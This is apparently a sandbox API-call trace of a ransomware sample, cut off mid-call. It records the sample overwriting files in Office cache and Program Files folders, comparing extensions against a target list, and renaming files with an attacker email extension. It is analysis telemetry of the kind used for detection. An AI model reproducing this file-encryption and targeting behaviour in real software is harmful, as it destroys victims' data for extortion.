1 [0215.015] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.015] WriteFile (in: hFile=0x214, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0215.214] SetEndOfFile (hFile=0x214) returned 1 [0215.481] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.481] WriteFile (in: hFile=0x214, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.482] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.482] WriteFile (in: hFile=0x214, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.484] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.484] WriteFile (in: hFile=0x214, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.486] CloseHandle (hObject=0x214) returned 1 [0215.487] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.487] lstrlenW (lpString=".doc") returned 4 [0215.487] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0215.487] lstrlenW (lpString=".docx") returned 5 [0215.487] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0215.487] lstrlenW (lpString=".pdf") returned 4 [0215.487] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0215.487] lstrlenW (lpString=".xls") returned 4 [0215.487] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0215.487] lstrlenW (lpString=".xlsx") returned 5 [0215.487] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0215.487] lstrlenW (lpString=".ppt") returned 4 [0215.487] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0215.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.487] lstrlenW (lpString=".zip") returned 4 [0215.487] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0215.487] lstrlenW (lpString=".rar") returned 4 [0215.487] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0215.487] lstrlenW (lpString=".bz2") returned 4 [0215.487] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0215.487] lstrlenW (lpString=".7z") returned 3 [0215.487] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0215.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.487] lstrlenW (lpString=".dbf") returned 4 [0215.487] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0215.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.487] lstrlenW (lpString=".1cd") returned 4 [0215.487] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0215.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.487] lstrlenW (lpString=".jpg") returned 4 [0215.487] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0215.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.487] lstrlenW (lpString=".doc") returned 4 [0215.487] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0215.488] lstrlenW (lpString=".docx") returned 5 [0215.488] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0215.488] lstrlenW (lpString=".pdf") returned 4 [0215.488] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0215.488] lstrlenW (lpString=".xls") returned 4 [0215.488] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0215.488] lstrlenW (lpString=".xlsx") returned 5 [0215.488] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0215.488] lstrlenW (lpString=".ppt") returned 4 [0215.488] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0215.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.488] lstrlenW (lpString=".zip") returned 4 [0215.488] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0215.488] lstrlenW (lpString=".rar") returned 4 [0215.488] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0215.488] lstrlenW (lpString=".bz2") returned 4 [0215.488] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0215.488] lstrlenW (lpString=".7z") returned 3 [0215.488] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0215.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.488] lstrlenW (lpString=".dbf") returned 4 [0215.488] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0215.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.488] lstrlenW (lpString=".1cd") returned 4 [0215.488] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0215.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0215.488] lstrlenW (lpString=".jpg") returned 4 [0215.488] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0215.488] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0215.488] lstrlenW (lpString="VisiorWW.cab") returned 12 [0215.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0215.488] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=195011319) returned 1 [0215.488] CloseHandle (hObject=0x214) returned 1 [0215.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0215.489] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.489] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0215.490] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0215.491] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0215.491] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0215.491] ReadFile (in: hFile=0x214, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.550] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0215.550] ReadFile (in: hFile=0x214, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.702] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0215.702] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0215.702] ReadFile (in: hFile=0x214, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.740] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.740] WriteFile (in: hFile=0x214, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0215.752] SetEndOfFile (hFile=0x214) returned 1 [0215.752] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.752] WriteFile (in: hFile=0x214, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.753] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.753] WriteFile (in: hFile=0x214, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.754] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0215.754] WriteFile (in: hFile=0x214, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.756] CloseHandle (hObject=0x214) returned 1 [0215.756] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.756] lstrlenW (lpString=".doc") returned 4 [0215.756] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0215.756] lstrlenW (lpString=".docx") returned 5 [0215.756] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0215.756] lstrlenW (lpString=".pdf") returned 4 [0215.756] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0215.756] lstrlenW (lpString=".xls") returned 4 [0215.756] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0215.756] lstrlenW (lpString=".xlsx") returned 5 [0215.757] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0215.757] lstrlenW (lpString=".ppt") returned 4 [0215.757] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString=".zip") returned 4 [0215.757] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString=".rar") returned 4 [0215.757] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString=".bz2") returned 4 [0215.757] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0215.757] lstrlenW (lpString=".7z") returned 3 [0215.757] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString=".dbf") returned 4 [0215.757] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString=".1cd") returned 4 [0215.757] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString=".jpg") returned 4 [0215.757] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString=".doc") returned 4 [0215.757] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString=".docx") returned 5 [0215.757] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0215.757] lstrlenW (lpString=".pdf") returned 4 [0215.757] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString=".xls") returned 4 [0215.757] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString=".xlsx") returned 5 [0215.757] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0215.757] lstrlenW (lpString=".ppt") returned 4 [0215.757] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString=".zip") returned 4 [0215.757] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString=".rar") returned 4 [0215.757] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString=".bz2") returned 4 [0215.757] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0215.757] lstrlenW (lpString=".7z") returned 3 [0215.757] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString=".dbf") returned 4 [0215.757] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0215.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.757] lstrlenW (lpString=".1cd") returned 4 [0215.758] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0215.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0215.758] lstrlenW (lpString=".jpg") returned 4 [0215.758] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0215.758] lstrcmpiW (lpString1=".sys", lpString2=".AUF") returned 1 [0215.758] lstrlenW (lpString="pagefile.sys") returned 12 [0215.758] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.758] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.758] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.758] lstrlenW (lpString=".doc") returned 4 [0215.758] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0215.758] lstrlenW (lpString=".docx") returned 5 [0215.758] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0215.758] lstrlenW (lpString=".pdf") returned 4 [0215.758] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0215.758] lstrlenW (lpString=".xls") returned 4 [0215.758] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0215.758] lstrlenW (lpString=".xlsx") returned 5 [0215.758] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0215.758] lstrlenW (lpString=".ppt") returned 4 [0215.758] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0215.758] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.758] lstrlenW (lpString=".zip") returned 4 [0215.758] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0215.758] lstrlenW (lpString=".rar") returned 4 [0215.758] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0215.758] lstrlenW (lpString=".bz2") returned 4 [0215.758] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0215.758] lstrlenW (lpString=".7z") returned 3 [0215.758] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0215.758] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.758] lstrlenW (lpString=".dbf") returned 4 [0215.758] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0215.758] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.758] lstrlenW (lpString=".1cd") returned 4 [0215.758] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0215.758] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.758] lstrlenW (lpString=".jpg") returned 4 [0215.758] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0215.758] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.758] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.758] lstrlenW (lpString=".doc") returned 4 [0215.759] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0215.759] lstrlenW (lpString=".docx") returned 5 [0215.759] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0215.759] lstrlenW (lpString=".pdf") returned 4 [0215.759] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0215.759] lstrlenW (lpString=".xls") returned 4 [0215.759] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0215.759] lstrlenW (lpString=".xlsx") returned 5 [0215.759] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0215.759] lstrlenW (lpString=".ppt") returned 4 [0215.759] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0215.759] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.759] lstrlenW (lpString=".zip") returned 4 [0215.759] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0215.759] lstrlenW (lpString=".rar") returned 4 [0215.759] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0215.759] lstrlenW (lpString=".bz2") returned 4 [0215.759] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0215.759] lstrlenW (lpString=".7z") returned 3 [0215.759] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0215.759] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.759] lstrlenW (lpString=".dbf") returned 4 [0215.759] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0215.759] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.759] lstrlenW (lpString=".1cd") returned 4 [0215.759] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0215.759] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0215.759] lstrlenW (lpString=".jpg") returned 4 [0215.759] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0215.759] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0215.759] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0215.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0215.814] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=99136) returned 1 [0215.814] CloseHandle (hObject=0x194) returned 1 [0215.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0215.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0215.815] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.815] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0215.815] GetLastError () returned 0x0 [0215.815] ReadFile (in: hFile=0x194, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x18340, lpOverlapped=0x0) returned 1 [0215.933] WriteFile (in: hFile=0x214, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x18350, lpOverlapped=0x0) returned 1 [0215.935] ReadFile (in: hFile=0x194, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0215.935] WriteFile (in: hFile=0x214, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0215.935] SetEndOfFile (hFile=0x214) returned 1 [0215.935] CloseHandle (hObject=0x214) returned 1 [0215.935] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.935] SetEndOfFile (hFile=0x194) returned 1 [0215.937] CloseHandle (hObject=0x194) returned 1 [0215.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0215.937] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0215.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.937] lstrlenW (lpString=".doc") returned 4 [0215.937] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.937] lstrlenW (lpString=".docx") returned 5 [0215.937] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0215.937] lstrlenW (lpString=".pdf") returned 4 [0215.937] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.937] lstrlenW (lpString=".xls") returned 4 [0215.937] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.937] lstrlenW (lpString=".xlsx") returned 5 [0215.937] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0215.937] lstrlenW (lpString=".ppt") returned 4 [0215.937] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.937] lstrlenW (lpString=".zip") returned 4 [0215.937] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.937] lstrlenW (lpString=".rar") returned 4 [0215.937] lstrcmpiW (lpString1=".rar", 